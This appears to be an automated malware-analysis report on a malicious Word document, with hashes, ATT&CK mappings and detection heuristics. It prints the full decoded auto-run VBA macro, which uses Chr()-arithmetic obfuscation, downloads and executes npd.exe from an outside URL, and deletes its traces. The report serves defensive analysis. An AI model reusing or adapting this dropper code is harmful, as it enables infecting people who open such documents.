Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7c672cd3c7626f9b…

MALICIOUS

Office (OLE)

90.0 KB Created: 2018-10-18 04:21:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 9a03dade644ec3e000852c311272896a SHA-1: 20075f28a862ec22db7cd72aaab2d7343756963d SHA-256: 7c672cd3c7626f9b2de3bd809f245f0043bc0e31e81816059de9f17f3bf17859
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro that is obfuscated and designed to execute automatically upon opening the document. This macro constructs a URL, downloads a file named 'npd.exe' from 'http://digitalgit.in/npd.exe', saves it to the user's temporary directory, and then executes it. The use of `Shell()` and `CreateObject()` calls, along with the HTTP download and execution pattern, strongly indicates a dropper functionality.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Chr(477 - 410) & Chr(496 - 419) & Chr(588 - 488) & Chr(499 - 467) & Chr(860 - 813) & Chr(864 - 765) & Chr(499 - 467) & Chr(864 - 765) & Chr(588 - 488) & _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Shell Chr(477 - 410) & Chr(496 - 419) & Chr(588 - 488) & Chr(499 - 467) & Chr(860 - 813) & Chr(864 - 765) & Chr(499 - 467) & Chr(864 - 765) & Chr(588 - 488) & _
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     " & " & F4g & " V4m= ""http://digitalgit.in/npd.exe"">>L9u.VBS &" & F4g & " I6i = D1x(""npdNexe"")>>L9u.VBS &" & F4g & " Set F5p = CreateObject(D1x(""msxmlRNxmlhttp""))>>L9u.VBS &" & F4g & " F5p.Open D1x(""get""), V4m, False>>L9u.VBS &" & F4g & " F5p.send ("""")>>L9u.VBS  &" & F4g & " Set O2o = CreateObject(D1x(""adodbNstream""))>>L9u.VBS &" & F4g & " O2o.Open>>L9u.VBS &" & F4g & " O2o.Type = 1 >>L9u.VBS  &@eCHo O2o.Write F5p.ResponseBody>>L9u.VBS &" & F4g & " O2o.Position = 0 >>L9u.VBS &" & F4 …
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell Chr(477 - 410) & Chr(496 - 419) & Chr(588 - 488) & Chr(499 - 467) & Chr(860 - 813) & Chr(864 - 765) & Chr(499 - 467) & Chr(864 - 765) & Chr(588 - 488) & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     " & " & F4g & " V4m= ""http://digitalgit.in/npd.exe"">>L9u.VBS &" & F4g & " I6i = D1x(""npdNexe"")>>L9u.VBS &" & F4g & " Set F5p = CreateObject(D1x(""msxmlRNxmlhttp""))>>L9u.VBS &" & F4g & " F5p.Open D1x(""get""), V4m, False>>L9u.VBS &" & F4g & " F5p.send ("""")>>L9u.VBS  &" & F4g & " Set O2o = CreateObject(D1x(""adodbNstream""))>>L9u.VBS &" & F4g & " O2o.Open>>L9u.VBS &" & F4g & " O2o.Type = 1 >>L9u.VBS  &@eCHo O2o.Write F5p.ResponseBody>>L9u.VBS &" & F4g & " O2o.Position = 0 >>L9u.VBS &" & F4 …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://digitalgit.in/npd.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1617 bytes
SHA-256: 575786ca18af076429b77e9d047a31e87ea9bf56d61b0aa86b9d2b00211d8f27
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
F4g = Chr(64) & Chr(69) & Chr(67) & Chr(72) & Chr(79)
Shell Chr(477 - 410) & Chr(496 - 419) & Chr(588 - 488) & Chr(499 - 467) & Chr(860 - 813) & Chr(864 - 765) & Chr(499 - 467) & Chr(864 - 765) & Chr(588 - 488) & _
 Chr(499 - 467) & Chr(958 - 921) & Chr(1061 - 977) & Chr(937 - 868) & Chr(183 - 106) & Chr(1051 - 971) & Chr(958 - 921) & _
 " & " & F4g & " V4m= ""http://digitalgit.in/npd.exe"">>L9u.VBS &" & F4g & " I6i = D1x(""npdNexe"")>>L9u.VBS &" & F4g & " Set F5p = CreateObject(D1x(""msxmlRNxmlhttp""))>>L9u.VBS &" & F4g & " F5p.Open D1x(""get""), V4m, False>>L9u.VBS &" & F4g & " F5p.send ("""")>>L9u.VBS  &" & F4g & " Set O2o = CreateObject(D1x(""adodbNstream""))>>L9u.VBS &" & F4g & " O2o.Open>>L9u.VBS &" & F4g & " O2o.Type = 1 >>L9u.VBS  &@eCHo O2o.Write F5p.ResponseBody>>L9u.VBS &" & F4g & " O2o.Position = 0 >>L9u.VBS &" & F4g & " O2o.SaveToFile I6i, 2 >>L9u.VBS &" & F4g & " O2o.Close>>L9u.VBS &" & F4g & " function D1x(A6z) >> L9u.VBS &" & F4g & " For S7n = 1 To Len(A6z) >>L9u.VBS &" & F4g & " I0c = Mid(A6z, S7n, 1) >>L9u.VBS &" & F4g & " I0c = Chr(Asc(I0c)- 32) >>L9u.VBS &" & F4g & " E1c = E1c + I0c >> L9u.VBS  &" & F4g & " Next >>L9u.VBS &" & F4g & " D1x = E1c >>L9u.VBS &" & F4g & " End Function >>L9u.VBS  & L9u.VBS  &dEl L9u.VBS  & tIMeOUT 13 & NPD.EXE", vbHide
End Sub

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